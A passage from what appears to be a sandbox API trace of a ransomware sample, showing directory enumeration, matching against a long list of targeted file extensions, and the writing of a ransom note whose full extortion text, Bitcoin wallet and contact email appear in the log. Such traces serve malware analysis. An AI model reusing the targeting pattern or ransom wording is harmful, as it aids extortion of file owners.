(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.ppt") returned 0 [0118.988] lstrlenA (lpString="*.ppt") returned 5 [0118.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.pptx") returned 0 [0118.989] lstrlenA (lpString="*.pptx") returned 6 [0118.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.doc") returned 0 [0118.989] lstrlenA (lpString="*.doc") returned 5 [0118.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.dot") returned 0 [0118.989] lstrlenA (lpString="*.dot") returned 5 [0118.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.docx") returned 0 [0118.989] lstrlenA (lpString="*.docx") returned 6 [0118.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.7z") returned 0 [0118.989] lstrlenA (lpString="*.7z") returned 4 [0118.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.tar") returned 0 [0118.989] lstrlenA (lpString="*.tar") returned 5 [0118.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.bz2") returned 0 [0118.989] lstrlenA (lpString="*.bz2") returned 5 [0118.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.gz") returned 0 [0118.989] lstrlenA (lpString="*.gz") returned 4 [0118.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.mkv") returned 0 [0118.989] lstrlenA (lpString="*.mkv") returned 5 [0118.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.eml") returned 0 [0118.990] lstrlenA (lpString="*.eml") returned 5 [0118.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.msg") returned 0 [0118.990] lstrlenA (lpString="*.msg") returned 5 [0118.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.edb") returned 0 [0118.990] lstrlenA (lpString="*.edb") returned 5 [0118.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.accdb") returned 0 [0118.990] lstrlenA (lpString="*.accdb") returned 7 [0118.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.odb") returned 0 [0118.990] lstrlenA (lpString="*.odb") returned 5 [0118.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.java") returned 0 [0118.990] lstrlenA (lpString="*.java") returned 6 [0118.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.asm") returned 0 [0118.990] lstrlenA (lpString="*.asm") returned 5 [0118.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.pfx") returned 0 [0118.990] lstrlenA (lpString="*.pfx") returned 5 [0118.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.pem") returned 0 [0118.991] lstrlenA (lpString="*.pem") returned 5 [0118.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.p12") returned 0 [0118.991] lstrlenA (lpString="*.p12") returned 5 [0118.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.gpg") returned 0 [0118.991] lstrlenA (lpString="*.gpg") returned 5 [0118.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.vsd") returned 0 [0118.991] lstrlenA (lpString="*.vsd") returned 5 [0118.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.odg") returned 0 [0118.991] lstrlenA (lpString="*.odg") returned 5 [0118.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.raw") returned 0 [0118.991] lstrlenA (lpString="*.raw") returned 5 [0118.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.nef") returned 0 [0118.991] lstrlenA (lpString="*.nef") returned 5 [0118.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.svg") returned 0 [0118.991] lstrlenA (lpString="*.svg") returned 5 [0118.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.psd") returned 0 [0118.991] lstrlenA (lpString="*.psd") returned 5 [0118.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.vmx") returned 0 [0118.992] lstrlenA (lpString="*.vmx") returned 5 [0118.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0118.992] lstrlenA (lpString="*.vmdk") returned 6 [0118.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.vdi") returned 0 [0118.992] lstrlenA (lpString="*.vdi") returned 5 [0118.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.lay6") returned 0 [0118.992] lstrlenA (lpString="*.lay6") returned 6 [0118.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0118.992] lstrlenA (lpString="*.mpeg") returned 6 [0118.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.djvu") returned 0 [0118.992] lstrlenA (lpString="*.djvu") returned 6 [0118.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.tiff") returned 0 [0118.992] lstrlenA (lpString="*.tiff") returned 6 [0118.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.backup") returned 0 [0118.992] lstrlenA (lpString="*.backup") returned 8 [0118.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.pdf") returned 0 [0118.993] lstrlenA (lpString="*.pdf") returned 5 [0118.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.cert") returned 0 [0118.993] lstrlenA (lpString="*.cert") returned 6 [0118.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.docm") returned 0 [0118.993] lstrlenA (lpString="*.docm") returned 6 [0118.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0118.993] lstrlenA (lpString="*.xlsm") returned 6 [0118.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.dwg") returned 0 [0118.993] lstrlenA (lpString="*.dwg") returned 5 [0118.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.nd") returned 0 [0118.993] lstrlenA (lpString="*.nd") returned 4 [0118.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.tlg") returned 0 [0118.993] lstrlenA (lpString="*.tlg") returned 5 [0118.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.lgb") returned 0 [0118.993] lstrlenA (lpString="*.lgb") returned 5 [0118.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.mov") returned 0 [0118.993] lstrlenA (lpString="*.mov") returned 5 [0118.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.xdw") returned 0 [0118.996] lstrlenA (lpString="*.xdw") returned 5 [0118.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.ods") returned 0 [0118.996] lstrlenA (lpString="*.ods") returned 5 [0118.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.wav") returned 0 [0118.996] lstrlenA (lpString="*.wav") returned 5 [0118.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.mp3") returned 0 [0118.996] lstrlenA (lpString="*.mp3") returned 5 [0118.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.aiff") returned 0 [0118.996] lstrlenA (lpString="*.aiff") returned 6 [0118.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.flac") returned 0 [0118.997] lstrlenA (lpString="*.flac") returned 6 [0118.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.m4a") returned 0 [0118.997] lstrlenA (lpString="*.m4a") returned 5 [0118.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.csv") returned 0 [0118.997] lstrlenA (lpString="*.csv") returned 5 [0118.997] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0118.997] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0118.997] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4dcde0c1afad3940051d2f1dde4e0069", cAlternateFileName="4DCDE0~1")) returned 0 [0118.997] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0118.997] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78c83f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78caa070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Dired13b18a9#", cAlternateFileName="SYSTEM~1.DIR")) returned 1 [0118.997] lstrcmpA (lpString1=".", lpString2="System.Dired13b18a9#") returned -1 [0118.998] lstrcmpA (lpString1="..", lpString2="System.Dired13b18a9#") returned -1 [0118.998] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0118.998] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Dired13b18a9#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#" [0118.998] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#") returned 67 [0118.998] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78c83f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78caa070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.020] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.020] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78c83f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78caa070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.020] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.020] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.020] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78caa070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78caa070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f1ac7bd217ca2529de3062cbcb5498ad", cAlternateFileName="F1AC7B~1")) returned 1 [0119.020] lstrcmpA (lpString1=".", lpString2="f1ac7bd217ca2529de3062cbcb5498ad") returned -1 [0119.020] lstrcmpA (lpString1="..", lpString2="f1ac7bd217ca2529de3062cbcb5498ad") returned -1 [0119.020] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\*.*") returned="*.*" [0119.020] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\", lpString2="f1ac7bd217ca2529de3062cbcb5498ad" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad" [0119.020] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad") returned 100 [0119.020] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78caa070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78caa070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.026] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.027] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78caa070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78caa070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.027] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.027] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.027] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78c5ddb0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78c5ddb0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78caa070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x15f200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.027] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.027] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.ni.dll") returned -1 [0119.027] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.ni.dll") returned -1 [0119.027] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.ni.dll") returned -1 [0119.027] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\*.*") returned="*.*" [0119.027] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\" [0119.027] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\") returned="" [0119.027] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\HOW TO DECRYPT FILES.txt" [0119.027] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\how to decrypt files.txt")) returned 0xffffffff [0119.027] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.029] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0119.029] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0119.030] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.030] CloseHandle (hObject=0x90) returned 1 [0119.030] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\", lpString2="System.DirectoryServices.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\f1ac7bd217ca2529de3062cbcb5498ad\\System.DirectoryServices.ni.dll") 